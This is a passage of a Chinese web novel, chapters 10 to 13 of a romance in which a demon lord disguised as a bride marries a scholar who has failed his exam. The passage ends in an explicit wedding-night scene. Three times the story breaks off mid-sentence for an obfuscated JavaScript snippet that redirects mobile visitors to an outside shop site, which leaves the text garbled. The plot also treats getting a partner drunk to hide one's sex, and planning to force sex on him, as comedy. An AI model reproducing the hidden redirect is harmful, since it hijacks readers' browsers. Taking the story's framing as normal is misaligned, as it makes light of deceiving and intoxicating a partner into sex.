苏梨说他不识好歹,还真是说对了,闻折月苦笑一声,心里生出一丝伤感,在对簿公堂之前,他一直将俞成林当成唯一的朋友。 大师兄还有些反应不过来:“这就结束了?” 他本以为还要耽搁上一段时日,不成想举头三尺有神明的威力这么大,不仅那狗官被吓到了,就连俞成林这个杀人凶手也慌了神,一听迷药被查到立马把一切都吐露出来了。 多亏了那一场天外飞雪,不然真相哪有那么容易揭开。 “你知道苏梨在哪里吗?”闻折月急急地问道。 他迫不及待想要见到苏梨,想同她说说话,想问问她都做了什么,想……或许什么都不用做,什么都不用说,只是见一面就好。 “我也不知道她去了哪里,本来我们一起去了……唔,唔!”大师兄双目圆瞪,张着嘴却发不出一丝声音。 闻折月不明所以:“你怎么了?” “啊——” 大师兄一嗓子嚎了出来,惊奇的发现自己的声音恢复了:“咦?我也不知道我刚刚怎么了,突然说不出话来了,我和苏姑娘都很担心你,我们一起去了……唔,唔?” 怎么一提到他们一起去衙门,他就变成哑巴了?! “你们一起去了哪里?” “没,我们没有一起。” 嚯,又好了! 大师兄摸了摸嗓子,心里隐隐有了猜测,他暗暗骂了墨夙离几句,扯出一个僵硬的笑:“我不知道她去了哪里,我说要去衙门帮你作证,然后她就走了,应该是有事要忙吧。” 这是什么施恩不求报的大好人,默默做了这么多事,却不让他告诉闻折月。 噫,她好爱他。 头上的包隐隐作痛,感动瞬间中止,大师兄恶狠狠地磨了磨牙,我呸!我真是日了狗了,遇见你们两个糟心玩意儿,你俩清高,搞纯爱可着我一个人嚯嚯! 闻折月狐疑地打量着他:“苏梨没和你一起去衙门吗?” 大师兄眨眨眼睛:“没有。” “可那雪……” 面对他充满怀疑的眼神,大师兄露出假笑:“呵呵,雪肯定是老天爷知道你有冤情,特地下的,难不成你以为那雪和她有关系?得了吧,你不是说过她不是狐狸精吗?” 狐狸精吗? 闻折月的眸光深了几分,如若不是那雪中带着和苏梨如出一辙的冷香,他差点就被大师兄骗了过去:“没去就没去吧。” 他收敛了表情,又变成了端方自持的读书人:“多谢你特地来为我作证,我先走了。” 大师兄:“……” 这俩人还真是天生一对,同样用完就丢。 不知该去哪里找墨夙离,闻折月只好暂且放下相思情,去了城门。殿试的文榜已经张贴出来了,他从最上面开始寻找,一直没有找到自己的名字。 “就猜到你会在这里。” 熟悉的声音和以前一样凭空出现,墨夙离神出鬼没,不知何时撑着伞来到了他身边。 闻折月不知所措地转过头,榜单上的名字在脑海中一一闪过,他确认了好几遍,其中并没有他的名字……他落榜了。 墨夙离没读过书,不认字,端详着榜单半天没看出所以然来:“这上面写了什么?” 能叫闻折月这么感兴趣,都没有发现他在旁边站了许久,魔尊大人有点不高兴,馄饨好吃他忍了,怎么这张破纸还能比他好看吗? 他是好奇发问,但这话落在闻折月的耳朵里就变了个味道。 他嗓音发哑:“我落榜了。” 放眼天下人才辈出,殿试落榜乃是常事,他本以为自己能够泰然处之,但发现榜单上真的没有自己名字时,闻折月的心一点点坠了下去。 且不论远大抱负无法施展,落榜意味着他只是个普普通通的举子,这般身份如何配得上佳人? 如果苏梨是狐狸精就好了,山野精怪所求他可以满足,仙子却是高攀不上,闻折月仿佛一下子被抽走了勇气,曾经幻想的金榜题名和洞房花烛都化作泡影。 “落榜?”墨夙离愣了一下才想起他是应试的举子,这张破纸关乎着闻折月一生的命运,“是做不了大官的意思吗?” “……是。”闻折月语气艰涩。 仕途对一个读书人来说无比重要,可他在意的并不是做不了大官,而是他和苏梨看不见的未来。说来也奇怪,明明苏梨也是一个人,没有多么尊贵的身份,可他总有种不功成名就就配不上苏梨的想法。 “我当是什么事呢,不就是做不了大官,赚不了大钱。”在魔尊大人眼里,做大官和赚大钱可以画上等号,“和我成亲,我养你啊。” 他语气轻松,仿佛只是随口一提,闻折月惊讶地张大了嘴巴,并没有发现他的手用力到泛起青筋,几乎要将伞柄捏碎了。 他这是不是算趁虚而入? 墨夙离小心翼翼地觑着闻折月的脸色,这也怪不了他,他的情期过几天就到了,闻折月总是优柔寡断,等他开口黄花菜都凉了,他等得了,情期等不了。 趁虚而入就趁虚而入吧,他一定会好好补偿闻折月的 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他不懂闻折月未曾出口的踟躇与情意,在墨夙离看来,闻折月心甘情愿与他成亲就够了。 勾引大计成! 墨夙离志得意满,一句话就定下了成亲之事,直接带着闻折月去了他刚买下的宅院,春风楼住不了了,他特地买了个新房子给闻折月住,虽然不如魔宫豪华,但也勉强凑合。 闻折月还沉浸在要和心上人成亲的冲击中,惊喜又惶恐,稀里糊涂地被拐到了大房子里。 “三日后是黄道吉日,适合成亲。” “会不会太快了点?” 仔细想想,他们才认识一天不到。 “快吗?”墨夙离歪了歪头,他的情期就在这几天,不赶快成亲,到时候要怎么顺理成章的让闻折月在床上卖力伺候他。 “难道你不想快点嫁……娶我吗?” 先把人骗到床上,被子一盖,男人和女人也差不了多少。 墨夙离心虚地想到,他放下老黄历,眼巴巴地看着闻折月:“我想尽快嫁给你。” 一句话就把闻折月哄得分不清南北了,晕陶陶地点头:“好好好,那就三日后成亲。” 墨夙离勾起唇角得意一笑,拿捏闻折月简单的嘞! 他风风火火地张罗着成亲的各项事宜,为了补偿闻折月,墨夙离什么都不让他做:“你乖乖等着就是,我一定会给你一个轰轰烈烈的成亲仪式!” 闻折月一脸茫然,恍惚间有种自己才是新娘子的错觉,他摇摇头,无奈失笑。 他的心上人真是太可爱了! 墨夙离说到做到,一手包办了成亲的事,大到三书六礼,小到嫁衣喜服,事必躬亲,等闻折月反应过来的时候,他已经把一切都安排得妥妥当当了。 ……苏梨说让他乖乖等着成亲竟然是认真的!!! 这下闻折月笑不出来了。 “…………” 房子是苏梨,吃穿用度都是苏梨出钱,成亲也是苏梨在张罗,那他和吃软饭的小白脸有什么区别?! 11. 第 11 章 一壶酒,两碟菜,只不过桌子对面的人换了一个。 闻折月痛饮一杯:“她好像把我当成小白脸了。” “小白脸多好啊,软饭多香啊!”大师兄恨铁不成钢,“你这是身在福中不知福,别人想吃这软饭还吃不到呢。” 他一口气喝完了酒,咂咂嘴,好醇厚的酒,香得他心窝子都酸溜溜的。 “可我不想让她看不起,我想对她好,我想照顾她。”闻折月委屈巴巴,落榜之后,说这话都没有底气了。 “我看她爱你得很,又怎么会看不起你。” 连三月飞雪都搞出来了,要是看不起你,何必上赶着当你的青天大老爷。 大师兄眼馋死了,他不奢求有人能这样对他,要是他能学到墨夙离的一点皮毛就好了,路见不平打个雷,谁还分得清他和老天爷。 “况且你想照顾她,跟你吃软饭并不冲突。”大师兄伸出两个手指头,“这是两码事。” 闻折月心头微动:“从何说起?” “她有钱是她的事,你该对她好还是对她好呗,她喜欢什么你就投其所好。”大师兄絮絮叨叨地举了几个例子,话锋一转,“还有最重要的,到了床上要卖力一点……嘿嘿嘿,当小白脸不可耻,可耻的是连小白脸都当不好!” “咳咳,我没有想那么多。”闻折月被呛到,脸都咳红了。 苏梨在他心目中就是仙女,不容亵渎,他连亲她一下都没想过,又怎么会把她当成床帏之间臆想的对象。 但他们都快成亲了,有肌肤之亲也是正常的,闻折月控制不住想起苏梨的唇,那么红,那么软,看起来很好亲的样子……他口干舌燥,猛灌了半杯酒:“以后别再说这种龌龊话了,我是正经人。” 大师兄不以为意:“这话怎么就龌龊了,正经人在床上盖棉被纯聊天吗?古人云,食色性也,有什么可不好意思的,这种事又不丢人。” 闻折月:“……” 他不是怕丢人,是非礼勿言! 都说秀才遇到兵,有理说不清,遇到江湖之人也一样,说不到一起去。能和大师兄有得一拼的唯有书局掌柜,老龟写话本秉持着不搞黄无意义的原则,他俩一定很聊得来。 闻折月不搭理他,默默喝酒。 脸皮忒薄!大师兄在心里翻了个白眼,想到墨夙离交给他的任务,服了软:“好吧好吧,不提那些了,说回吃软饭。” “要我说你就是想的太多,成亲的前提是你们两情相悦,两情相悦的软饭不叫软饭,叫情趣。” 这是多么实用,多么有格调的爱啊,比海誓山盟实在多了! 他打了个酒嗝,拍着桌子振振有词:“你这聪明的脑袋瓜怎么就想不通,她喂你吃软饭当然是因为喜欢你,就算你是小白脸她也照样喜欢。” 苏梨喜欢我……闻折月愣住,闻折月恍然大悟。 有道理!!! “你说得对,大不了我就当个赘婿。”闻折月被他一通忽悠直接给忽悠瘸了,双眼放光。 他所求不多,天上地下,只一个苏梨而已,如今苏梨愿意与他成亲,他不为心愿达成而欢喜,却因为所谓的大男子主义而闷闷不乐,跟本末倒置有什么区别。 “她喜欢我,我喜欢她,没什么比我们俩把日子过好更重要。” 过了心理那一关后,闻折月越想越觉得这软饭香得很。 好吃!爱吃!要多吃! 酒到微醺时,墨夙离来接人了,闻折月一看见他就眼睛亮晶晶地跑过去:“你来啦!” 墨夙离挑了下眉:“你喝醉了?” 春风楼一案中的三名死者家世背景都很不错,致仕的老丞相痛失爱孙,向官府施压,加之一名死者在殿试中成绩斐然,圣上得知了他的遭遇后勃然大怒,下令尽快处死俞成林。 今日是俞成林的死期。 闻折月从昨晚开始就闷闷不乐,他以为这人又不识好歹为俞成林伤怀,特地找了大师兄带闻折月出去散散心,现在看来效果不错。 “我没喝醉。” 闻折月眉开眼笑,他早就把俞成林抛之脑后了,虚假的友情不值得伤怀,他的心他的眼已经被苏梨占满了,压根不知道今日是行刑之日。 他接过伞,语气温柔:“我忘了看时间,劳烦你特地来接我,受累了。” 还没成亲就变得这么体贴了,墨夙离颇为受用,几乎能想象到闻折月在情期好好伺候他的画面:“你我之间谈不上劳烦。” 他心情很好地结了账,还多点了一壶酒犒劳大师兄,大师兄感动不已,恨不得拉着闻折月的手嘱咐他:兄弟,你可要好好当小白脸! 一人得道鸡犬升天,让我跟着你多沾点光。 两人离开酒楼,慢悠悠往家走,女儿家的裙装迈不开大步子,闻折月刻意放慢脚步迁就他:“我之前就想问了,你为什么一直撑着伞?” 不止是白天,就连晚上墨夙离也伞不离手。 更令他感到奇怪的是这把伞,和坊间卖的油纸伞截然不同,伞檐上垂着铜钱,五色流苏透着一股子说不清道不明的神秘气息。 “草木吸收日月精华生长,吸收的灵气多了就会长得更茂盛,人也如此,我……”墨夙离偏了下头,眸光浅浅淡淡,映出真假不明的笑意,“我觉得我这模样已经不需要再吸收灵气了。” 这话要是换了其他人来说,闻折月肯定会啐一句自恋,但苏梨就不一样了:“确实,你现在这样就是最完美的。” 他像是信了墨夙离的鬼话,一脸真诚地夸奖,硬是把胡诌的魔尊大人给夸得不好意思了。 日月精华是真,他修炼的功法特殊,会自发吸收灵气,情期将至,若是在此时继续提高境界,情期会变得更加难熬,撑伞可以隔绝灵气。 伞上的铜钱施了咒法,在一定程度上也能躲避天道的探查,隐瞒他的身份。 墨夙离压下疯狂上扬的嘴角,谦虚道:“我长得也就那样吧,我喜欢你的样子。” 这是实话,闻折月合他的眼缘,就算长相不是顶顶出众,他也能在人群中一眼锁定闻折月。跟“缘”沾边的东西都虚无缥缈,眼缘也是,所以他看中闻折月是命中注定。 前半句让人哭笑不得,后半句又勾得人心怦怦跳,闻折月捂着胸口:“呜……” 他可真没出息,苏梨动动嘴,一句轻飘飘的话就拿捏了他。 “怎么了?”墨夙离关切地看过来。 算了,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456797|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出息就没出息吧,有娘子就好。 闻折月盯着他的唇,心里那股被酒压下去的躁动卷土重来,他舔了舔唇,突然道:“我好像喝醉了。” 他的呼吸间带着酒气,滚烫浓烈,墨夙离的心跳漏了一拍,怔怔地定在原地,仿佛被蛊惑了,看着他一点点靠近。 距离逐渐缩短,直到鼻尖相触,墨夙离都没有后退,闻折月弯了弯眸子,嘴角扬起狡黠的弧度,他再次重申:“苏梨,我醉了。” 众所周知,醉鬼是控制不了自己的。 墨夙离张了张嘴,字音还未出口就吞没在唇齿间,月光清冷,酒香弥漫,闻折月突然按住他的后颈。 魔尊大人骤然睁大了眼睛,闻折月在,在…… 顷刻分离,闻折月心头巨震,连指尖都激动地发着颤,和他想的一样,很软,特别特别好亲:“你怎么不闭上眼睛啊?” 他好像真的喝醉了一样,眯着眸子埋怨,扶在墨夙离脑后的手往前移动,捧住他的脸,指尖轻轻摩挲着,将白皙的脸颊蹭得泛起了红,如同涂了胭脂。 咚——咚咚——咚咚咚! 胸膛内震个不停,耳边萦绕着不知是谁的剧烈心跳,墨夙离的大脑一片空白:“你为什么亲我?” “因为我喝醉了。”闻折月理直气壮。 喝醉了就能胡乱亲人吗? 应该,应该能吧……墨夙离稀里糊涂的想到。 醉酒成了免死金牌,纵容令“酒鬼”的行为更加放肆,闻折月闭了闭眼睛,喃喃自语:“今天的酒好烈,一杯就能醉倒人……你要不要尝一尝?” 他捂住了墨夙离的眼睛,没有给他拒绝的权利。 今夜月圆花好,墨夙离尝到了人间的美酒,醇厚浓烈,带着一点甜味。 很烈,醉得人自愿沉沦。 - “亲了,亲了!” 老龟哼了声:“看把你们激动的,只是亲了,又不是生了。” 该说不说,这姑娘长得确实好看,天上有地上无那种,他活了几千年都没见过这样漂亮的大美人,难怪宝贝龙会喜欢,他俩站在一起简直郎才女貌。 看来人龙恋可以写起来了。 “他们可真般配。” “那大美人对折月也很好,不过这么快就成亲会不会太着急了?” “情到浓时,按捺不住呗。” “真想看着他们白头到老。” “白头到老?”老龟轻哂,将嗑生嗑死的老伙计们收起来,“看两眼就行了,你们这群为老不尊的,偷窥起来没完了,还想看一辈子啊,我可没那闲工夫。” 死去的妖怪化作妖火,无法自行离开望月山,老龟只能把他们收在法器里,满足他们想看闻折月的心愿,但法器对妖魂是有伤害的,不能长时间使用。 等收起妖怪们后,老龟一改不耐烦,叹了口气:“唉,要是你们都还活着就好了。” 咱们就可以一起下山,寸步不离地守在折月身边,看着他们白头到老了。 老龟抚摸着法器,心中伤情,联想到凡人的寿命问题,又沉沉地叹了口气,希望他的预感不要成真,希望折月能够顺利渡劫。 愿苍天保佑我们的小白龙。 12. 第 12 章 三天转瞬即逝,终于到了成亲的日子。 一早老龟就带着妖怪们来偷窥……啊不,观礼了,一群妖怪藏在宅院角落,激动的心颤抖的手,趁新人不备偷偷喝了几壶酒。 老龟咂咂嘴:“四舍五入,也算喝到折月的喜酒了。” 法器里的妖怪们羡慕不已:“这酒是什么味的?” “还能什么味,酒味呗。”老龟脸上一副不耐烦的表情,嘴上却绞尽脑汁形容着味道,“有点辣,又有点甜,我尝到了一点果子的味道,应该是酒坊中卖得最好的果酿,啧啧,看来这大美人对咱们折月还挺上心的嘛,喜酒都是上乘的。” 闻折月这一世的命运坎坷,从小就被抛弃,孤苦伶仃地长大,老龟常常化作不同身份去接济他,但是怕影响他渡劫,只能偶尔送点吃的喝的,给他一点无伤大雅的帮助。 能有个人好好爱闻折月,再好不过,起码宝贝龙渡劫的几十年不用再过苦日子了。 “这房子也很好,很大,看来她对咱们折月是真心的。” “这房子大吗?”老龟不以为然,他就像舍不得孩子的娘家人,家里水灵灵的大白菜被拱了,即使那头猪再完美,都能挑出错来,“也就那样吧,比不上天下第一宗。” 闻折月的小爹爹曾是天下第一宗的宗主,将宗门后山辟出来收容妖怪,闻折月从小被修士和妖族一同宠着,要星星给星星,要月亮给月亮。 回忆起当初的岁月,妖怪们颇为动容:“是啊,折月配得上最好的。不过大美人毕竟是个凡人,能做到这样已经不错了。” 话虽这么说,但他还是觉得委屈了闻折月。 老龟撇撇嘴,轻轻松松就把他们的宝贝龙给拐走了,也不知道以后能不能好好珍惜。 可不管他有多不满意,一切都在有序进行着。 两个孤家寡人成亲省去了很多步骤,没有需要宴请的宾客,就连拜堂都少了一项,大师兄作为唯一的围观者,一个人喊出了一群人的气势:“一拜天地——夫妻对拜——送入洞房!” 这亲成得跟闹着玩似的,仓促又简便,由于住在一起,连接亲都省了,唯一有成亲氛围的就是各处贴着的大红“囍”字以及他们穿的喜服。 闻折月一边觉得荒唐,一边又抑制不住的开心,流程简单,但改变不了他和苏梨成亲了的事实。 大师兄咧着嘴,从怀里掏出一对木雕:“恭喜恭喜啊,这是我亲手做的鸳鸯木雕,手艺不好,别嫌弃,祝你们百年好合,早生贵子。” 木雕看起来颇为粗糙,勉强有个鸳鸯的样子。 “怎么会嫌弃,多谢大师兄,我们很喜欢这个礼物。”闻折月接过木雕,珍惜地摸了摸。 他们已经互通过姓名,大师兄大名王傲天,听起来有股子莫名的羞耻感,闻折月索性就直接叫他大师兄了。 大师兄的出现或多或少弥补了俞成林的背叛,能和他成为朋友,让闻折月心里好受了很多。 “喜欢就好。”大师兄哈哈大笑,“我本是去那妖市碰碰运气,没想到会遇到你们,缘分真是妙不可言。” 老龟和妖怪们心里酸溜溜的,他们也给闻折月准备了礼物,可惜没办法光明正大地送出去,只能偷偷放到新房里。 “折月会喜欢我们送的礼物吗?” “应该会吧,我们送的都是他喜欢的东西。” “是他以前喜欢的东西,一千多年过去了,也不知道他有没有改变。” “无论怎么变,他都是我们的宝贝龙。”老龟的目光中充满了慈爱,“他一定会喜欢我们的心意。” 墨夙离带着盖头,一身冷意都被掩盖起来,大师兄的胆子大了些,冲闻折月挤眉弄眼:“洞房花烛夜可要好好表现。” 闻折月脸一热,上次一起喝酒后,大师兄又来找过他一次,带着一摞春宫图,美其名曰要让他好好学习,做个合格的小白脸。 闻折月义正辞严,闻折月敬谢不敏,闻折月翻开春宫。 哇偶,竟然有这么多的姿势! 闻折月打开了新世界的大门,疯狂吸收知识,盖棉被纯聊天是不可能的,他想完整拥有苏梨,水到渠成,繁衍子嗣,相守一生,到老了一起含饴弄孙,享天伦之乐。 所以他孜孜不倦,用心钻研。 天色尚早,暂时不到洞房的时候,大师兄打从心眼里将=把闻折月当成好朋友,高兴地拉着他喝酒:“真没想到你们这么快就成亲了,认识还不到半个月吧?” 闻折月脸红:“嗯。” 他们认识不过几天,进展这么快也令他不敢置信。 “郎才女貌,你俩就跟话本里写的一样,是天作之合,一定能有情人终成眷属。” 吉祥话不要钱一般从大师兄的嘴里冒出来,墨夙离等得不耐烦,一把掀开盖头:“你该走了。” 许是之前挑衅天道使伞掉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456798|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两枚铜钱,法阵失效,他的情期猝不及防提前了,并且来势汹汹,此时他整个人都燥得慌,修为隐隐有被封住的趋势,约莫再过一时半刻他就会变成普通人,连易容的法术也难以维持下去。 所以在变回男身之前,他得把闻折月灌醉,生米煮成熟饭。 墨夙离心里发虚,不敢看闻折月,他本来打算找机会和闻折月坦白男扮女装的事,也试探过如果他不是女子怎么办,闻折月没有正面回答过,只说他明明就是个女子,再坚强再能干也是女子。 “……” 怪我的易容术出神入化,毫无破绽。 事发突然,墨夙离知道自己这样做不地道,但,但他可是魔尊!魔族无恶不作,他作为魔族的头头霸王硬上弓很正常! 大不了,大不了情期过了多给闻折月一些补偿。 闻折月一个激灵,连忙将盖头盖回了墨夙离头上:“这个可不能轻易摘下来,犯忌讳。” 老话说盖头一掀,祸端必生,新娘的盖头只能由新郎挑开。 不过苏梨穿嫁衣可真好看,脸红扑扑的,是涂了胭脂吗? 闻折月回味着刚才的惊鸿一瞥,心脏砰砰跳。 在闻折月眼里秀色可餐的新娘,放在大师兄眼里就是冷酷无情的大魔王了,墨夙离一下逐客令,大师兄顿时醒了酒。 他真是疯了竟然敢打扰人家小两口卿卿我我,也不怕一道雷劈到脑门上。 “时辰不早了,祝你们有个美好的夜晚。”大师兄忙不迭告辞,不等闻折月送就溜走了。 唯一的宾客离开后,只剩下一对新人……和在角落里阴暗观察的妖怪们,老龟担心老伙计们,想先走,但妖怪们都不依,吵着要闹洞房。 “……” 为老不尊。 成亲是大喜事,想闹洞房也是人之常情,毕竟这群老伙计没死的时候就一直念叨着这件事,老龟不忍心拂他们的意。 闻折月关上大门,看见墨夙离乖乖盖着红盖头跟在他身后,心里发软:“怎么不先去歇息?” “等你。” “等我一起回房?”闻折月拉住他的手,娘子好黏人呀,爱了爱了。 墨夙离语出惊人:“不是,我在等你一起睡觉。” “……” “你别误会,我说的不是单纯的睡觉,是和你看的那些春宫图一样,能……能生孩子的睡觉。” “……” 13. 第 13 章 闻折月的手抖了抖,深吸一口气:“你怎么知道我……” “怎么知道你看春宫图?”魔族民风开放,墨夙离丝毫不觉得谈论此事尴尬,“虽然你把它们藏在书房和床底,但都逃不过我的眼睛。” 闻折月:“……” “我从小找东西就厉害,藏在犄角旮旯里的神秘功法都能挖出来。”墨夙离正得意着,身体中忽然窜起一股热流,他腿一软,踉跄着朝前栽去。 不好,情期要开始发作了! “小心!” 闻折月连忙抱住他,墨夙离整个人都倚进了他的怀里:“回房,快,我现在就要和你睡觉!” 闻折月:“???” 闻折月:“!!!” 这谁能忍得了?! 顾不上问功法的事,闻折月俯身抱起他冲刺,以最快的速度将墨夙离带回了房间。 角落里的妖怪们一脸懵逼:“???” 不是,用得着这么着急吗? 婚房装饰得很像样,大红喜被上撒着花生桂圆和红枣,也不知墨夙离是怎么做到的,让婚房中散发着浓郁的椒香味。 椒房帐暖,闻折月心旌摇曳,轻轻将他放在床上:“等一下,喝完合卺酒我们就……” 他没说下去,但两人都知道即将发生什么,墨夙离舔了舔唇,催促道:“你快一点。” 这种时候可不兴说快一点。 闻折月转身拿起秤杆。 墨夙离是用了心的,除了省略掉一些成亲的步骤,其余习俗都尽力遵循了,他想给闻折月一个郑重的成亲仪式,从来都不止是说说而已。 闻折月用秤杆挑起盖头:“娘子……” 他终于能正大光明地喊出这个称呼了。 红霞遮面,美人若画,他的娘子比他想象中更美,再多言语都无法形容闻折月此刻的欢喜与满足。 “快拿酒来。” 墨夙离没有涂胭脂,他能装成姑娘家,但不至于去描眉画目,那一脸绯意都是情期烧出来的。 要喝酒,要把闻折月灌醉,让他分不清男女。闻折月上次喝了几杯就醉得胡乱亲人,要灌醉他一定很容易。 如果墨夙离现在是正常状态,就能发现房外多了一群听墙角的妖怪,可他仅剩的修为都用在维持易容术上,哪里还顾得上那么多。 他直勾勾地盯着闻折月,盯着这个能帮他度过情期的人,像是生怕猎物跑掉的野兽,眼底是赤/裸裸的欲望。 闻折月刚端来酒杯就被墨夙离夺了过去,他的新娘迫不及待喝干了杯中的酒,眼巴巴地看着他,一副“我喝完了,轮到你了”的表情。 “……” 闻折月哭笑不得:“合卺酒不是这样喝的。” 其实墨夙离知道这酒要怎么喝,不过他现在处于情期中,脑子知道是一回事,手上做的又是另一回事。 闻折月将杯里的酒倒了一半给他,拉着他的手绕过自己的胳膊,含情脉脉道:“鸳鸯交颈合卺酒,愿与卿缠绵终老。” 墨夙离恍惚了一瞬,方才那一刻,闻折月眼中的情意滚烫,竟比他体内翻涌的情期热潮还要灼人。 如果闻折月喜欢的不是苏梨就好了。 他竟有些嫉妒并不存在的苏梨,如果当初没有男扮女装,他是不是……是不是可以用墨夙离的身份与闻折月相识? 半杯酒下肚,闻折月眼神还是清明的,墨夙离又找借口灌了他几杯,试探着问道:“你看我是男是女?” “你是我的娘子,当然是女的。”闻折月好笑地看着他,见墨夙离又拿起酒,一脸为难,“不喝了吧,再喝就要醉了。” 酒后乱性都是骗人的,听说喝得太醉会不举,一辈子只有一次的洞房绝不能发生这种事。 墨夙离的眼睛闪了闪,就是要让你喝醉,不喝醉怎么瞒天过海:“再喝一杯,就一杯,好不好嘛?” 他拉着闻折月的衣袖晃了晃,酒杯抵在闻折月嘴边,湿漉漉的眸子里闪着光,闻折月呼吸一紧,被勾得心魂颠倒。 喝,喝大杯的! 一杯接着一杯,又被哄着喝了几杯,闻折月按了按眉心,大着舌头推拒:“不行,不能,不能再喝了,再喝我……我就看不清你了……唔?” 小白龙托生的肉/体凡胎皮肤白皙,脸都喝红了,他睁大眼睛:“娘子,你怎么,怎么好像变样了?” 还是熟悉的五官,模模糊糊的莫名冷峻,不似女儿家的柔和,棱角分明,像个艳若桃李的俏郎君。 嗯?俏郎君? 闻折月使劲揉了揉眼睛,刚想细看,就被一只滚烫的手拉着靠近,墨夙离伏在他耳边,沙哑的嗓音低低沉沉,无比惑人:“你看错了,你该同我睡觉了。” 闻折月迷迷糊糊地揽住他:“好,睡觉。” 难不成真是他看错了? 纱帘扬下,交谈声断断续续,诉说着旖旎爱语,在房间内回响。 老龟臊红了一张老脸,忙不迭带妖怪们离开,这俩人也真是的,等不到晚上就做起这档子事了,看来再过不久,就会有小宝贝龙了。 易容术失效了,墨夙离变回了身高腿长八块腹肌有男人独特配件的魔尊大人,他觑着闻折月,见人目光迷离,心下稍安。 好耶!接下来就是躺平享受了! 闻折月看了那么多春宫图,肯定能把他伺候得很好,墨夙离心里美滋滋,期待地躺在床上:“你可以开始了。” 他修炼的功法有异,在大成之前要禁欲,待到境界即将圆满时会迎来情期,要靠与人欢好来散功。 听着和采阳补阴的路子有点像,但对床伴并没有影响,等到情期结束,境界会大幅增长。 这功法不知是何时创下的,在上界找不到一丁点记载,但确实厉害,他修炼后很快就打遍魔族无敌手了,唯一的缺点或许就是散功要当承受方,只能找男子度过情期。 但和任人宰割相比,这一点根本不算什么。 况且是男是女并不重要,墨夙离也不觉得当承受方有什么不好,他不爱动弹,躺着让人伺候最合适不过。 闻折月伸出手,勾住了嫁衣的带子,咦?这衣裳怎么紧绷绷的? 大概是量错尺寸了吧。 他按住墨夙离的胸口,咦?这里怎么硬邦邦的? 大概是他的娘子平胸吧。 人长得美,总要有点与众不同的地方,平胸好啊,他就喜欢平胸,有无限发展的可能。 闻折月很快就说服了自己,手缓缓向下,咦?这东西怎么有点熟悉?和他的好像…… 他的脑子还没转过来,墨夙离就挥开他的手,翻了个身蜷缩成一团,碰那里刺激太过,他受不了:“不用管那里。” “好好好,不管那里了。”即使脑子不太清醒,闻折月也记着要听娘子的话,转头就把疑惑抛之脑后了。 闻折月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456799|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没有完全醉倒,只是思维变慢了,反应有些迟钝,但该支棱的地方非常支棱。他俯下身,照着脑海中春宫图的指示继续探索,探索着探索着,眉头就皱了起来。 快乐老家呢? 他一定是酒喝多了,竟然找不到家门,闻折月急得浑身冒汗,完了完了,他不会真当不好小白脸吧?! 男子和女子不同,快乐老家也不同,在闻折月的急切探索中,墨夙离突然想起这一点,完了完了,他把这茬给忘了。 好在特殊时期老家会翻修,不需要用钥匙,墨夙离三下五除二,带着闻折月破门而入。 呜呜呜,终于到家了! 老家果然让人快乐,但在快乐之余,闻折月的自尊心颇受打击,他埋头在墨夙离颈窝蹭了蹭:“你会不会嫌弃我太笨?” 连家都找不到,还要娘子手把手帮他开门。 墨夙离压根不知道他心里的弯弯绕,笨点好啊,骗起来容易:“唔……如果你能伺候好我,我就不嫌弃你笨。” 听了这话后,闻折月顿时有了动力,他牟足了劲证明自己,丝毫没有发现他的快乐老家和春宫图上描写的略有差异。 不过头一回做这种事的小白龙本来也不知道家与家的区别。 家,是和谐的! 家,是充满幸福的! 家,从白天到深夜都待不腻! 墨夙离从一开始的主动引闻折月参观,到中途放任他自行浏览,再到后来下逐客令也赶不走闻折月,气得直掉眼泪。 “够了够了够了!” “不够不够不够!” 他可是看过话本的,床上的话要反着来。 带着哭腔的控诉被堵了回去,闻折月面上一副温柔体贴的模样,却一点人事不做,手和嘴都没闲着,不让人家控诉还不让人宣泄。 墨夙离心里憋闷,眼泪掉得更多了,哗啦啦的,真跟受了委屈的小娘子似的。 闻折月的眼睛都看直了,怎么有人连哭起来都这么好看,梨花带雨,我见犹怜,他心里软得一塌糊涂,抱着人轻轻地哄,哄得墨夙离刚收住眼泪,他就故态复萌,变本加厉地撒欢,把人逗得又哭起来。 哭了就哄,哄好再逗,如此反复几次,谁都能看出他是故意的了。 墨夙离气得两眼发黑,恨恨地咬了他一口,失去修为的魔尊大人被翻来覆去,连咬人都使不上劲,只留下一个带着浅浅红痕的印迹。 闻折月蹭蹭他的脸,欣喜地夸奖:“娘子好厉害呀,咬的牙印又圆又漂亮。” 墨夙离:“……” 闻折月将另一边肩膀送到他嘴边:“来,再咬一个。” 墨夙离:“……” 他精挑细选的床伴好像是个变态。 